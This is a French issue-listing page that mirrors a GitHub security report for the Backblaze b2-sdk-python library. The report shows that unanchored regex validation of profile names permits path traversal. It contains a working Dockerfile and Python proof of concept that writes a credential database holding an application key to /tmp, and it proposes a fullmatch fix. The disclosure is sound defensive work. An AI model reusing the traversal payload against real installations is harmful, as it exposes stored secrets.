SqliteAccountInfo profile name validation uses "re.match", so only the first character is checked

Ouverte Adaptée aux débutants
  • Quelque chose ne va pas ?
#629 0 commentaires 0 réactions 0 personnes assignées Voir sur GitHub

Les mainteneurs répondent en général sous 1 jour

@nazarli-shabnam y travaille déjà.

Depuis le 5/11/2026.

  • #643 par @nazarli-shabnam — ouverte

Évaluation

Difficulté
2/5
Temps estimé
1-3 heures
Accessibilité débutants
75/100
Type d'issue
Bug
Clarté
Clairement spécifiée
Activité
Active
Stack technique
python, sqlite
Domaine
backend, security

Piste de recherche

Lisez b2sdk/_internal/account_info/sqlite_account_info.py, en particulier get_user_account_info_path et B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP, puis examinez le test existant test_invalid_profile_name. Mettez à jour la validation pour rejeter les caractères invalides partout dans le profil et étendez le test avec un caractère initial valide suivi d’un suffixe malveillant ; le travail est terminé lorsque ces noms déclenchent ValueError et que les profils valides fonctionnent toujours.

Rédigé par le modèle d'indexation à partir du texte de l'issue.

Description

Description

get_user_account_info_path validates profile with B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.match(profile) (b2sdk/_internal/account_info/sqlite_account_info.py:112), and the pattern at :30 is unanchored, so re.match accepts any string whose first character is in [a-zA-Z0-9_\-] and never looks at the rest. The value is then interpolated into the database path at :115, :136 and :142 and handed to os.open and sqlite3.connect without normalisation, so a name like a/../../../../../tmp/planted reaches the filesystem with its .. components intact and the credential database, which holds a live application key, is created outside the directory the SDK selected. Over a corpus of 108 names built from valid leading characters and 21 hostile suffixes, 103 were accepted and 50 of those resolved outside {XDG_CONFIG_HOME}/b2. Two things keep this low rather than worse: nothing inside the SDK passes untrusted input as profile, and on POSIX the first injected path component has to already exist as a directory, which the SDK never creates, so an attacker who can create it already has write access to the config directory. We are filing it in the open for that reason. It still seems worth fixing, because the pattern exists specifically to constrain this value and currently does not, and the one test covering it, test_invalid_profile_name, uses '&@(*$', whose first character is already outside the class, so it passes against the unanchored pattern.

Reproduction

On master @ ffa02b32 with Python 3.10.19, in a container built from a fresh clone at that ref, with the ~/.config/b2/db-a directory created to satisfy the POSIX precondition. Build with this Dockerfile, save the script below as poc.py, then run docker build -t b2poc . && docker run --rm -u 1001 -v "$PWD/poc.py:/poc.py:ro" b2poc python /poc.py:

FROM python:3.10.19-slim-bookworm
RUN apt-get update -qq && apt-get install -y -qq --no-install-recommends git >/dev/null
RUN git clone -q https://github.com/Backblaze/b2-sdk-python.git /src \
 && git -C /src checkout -q ffa02b3264bc0e7069ef2c8b25facd9a467e65a6 \
 && pip install --no-cache-dir -q /src
RUN useradd -m -u 1001 victim

import os, sqlite3
from b2sdk.v3 import SqliteAccountInfo

PROFILE = 'a/../../../../../tmp/planted'   # accepted by .match(), rejected by .fullmatch()
print('resolved :', SqliteAccountInfo.get_user_account_info_path(profile=PROFILE))
os.makedirs(os.path.expanduser('~/.config/b2/db-a'))   # POSIX needs the first component
info = SqliteAccountInfo(profile=PROFILE)
info.set_auth_data(
    account_id='acct', auth_token='tok', api_url='https://api', download_url='https://dl',
    absolute_minimum_part_size=5000000, recommended_part_size=100, realm='production',
    application_key='VICTIM-SECRET-KEY', s3_api_url='https://s3', application_key_id='keyid',
    allowed=SqliteAccountInfo.DEFAULT_ALLOWED)
print('created  :', os.path.realpath(info.filename))
print('key there:', sqlite3.connect('/tmp/planted.sqlite')
      .execute('select application_key from account').fetchone()[0])

resolved : /home/victim/.config/b2/db-a/../../../../../tmp/planted.sqlite
created  : /tmp/planted.sqlite
key there: VICTIM-SECRET-KEY
Suggested remediation

Validate the whole string:

--- a/b2sdk/_internal/account_info/sqlite_account_info.py
+++ b/b2sdk/_internal/account_info/sqlite_account_info.py
@@ -109,7 +109,7 @@ class SqliteAccountInfo(UrlPoolAccountInfo):
 
     @classmethod
     def get_user_account_info_path(cls, file_name: str | None = None, profile: str | None = None):
-        if profile and not B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.match(profile):
+        if profile and not B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.fullmatch(profile):
             raise ValueError(f'Invalid profile name: {profile}')

One adjacent thing I noticed while reproducing this, which is separate and not addressed by the above: _validate_database (:144) only calls _create_database when the file does not already exist, and _create_database is the only place mode 0600 is set, so a database file that is already present keeps its permissions. Starting from a mode 0666 file, the mode after credentials were stored was still 0o666 and the application key was readable from it.

Credits
  • Found by OSTIF using AI with their own harness.
  • Manually verified, fixed, and reported by Shielder.
Langage dominant
Python
Étoiles
214
Forks
68
Merge moyen
51 min
PR mergées (30 j)
6

Préparer son environnement

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Autres issues de Backblaze/b2-sdk-python

Toutes les issues de Backblaze/b2-sdk-python

Issues similaires

Plus d'issues Python

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.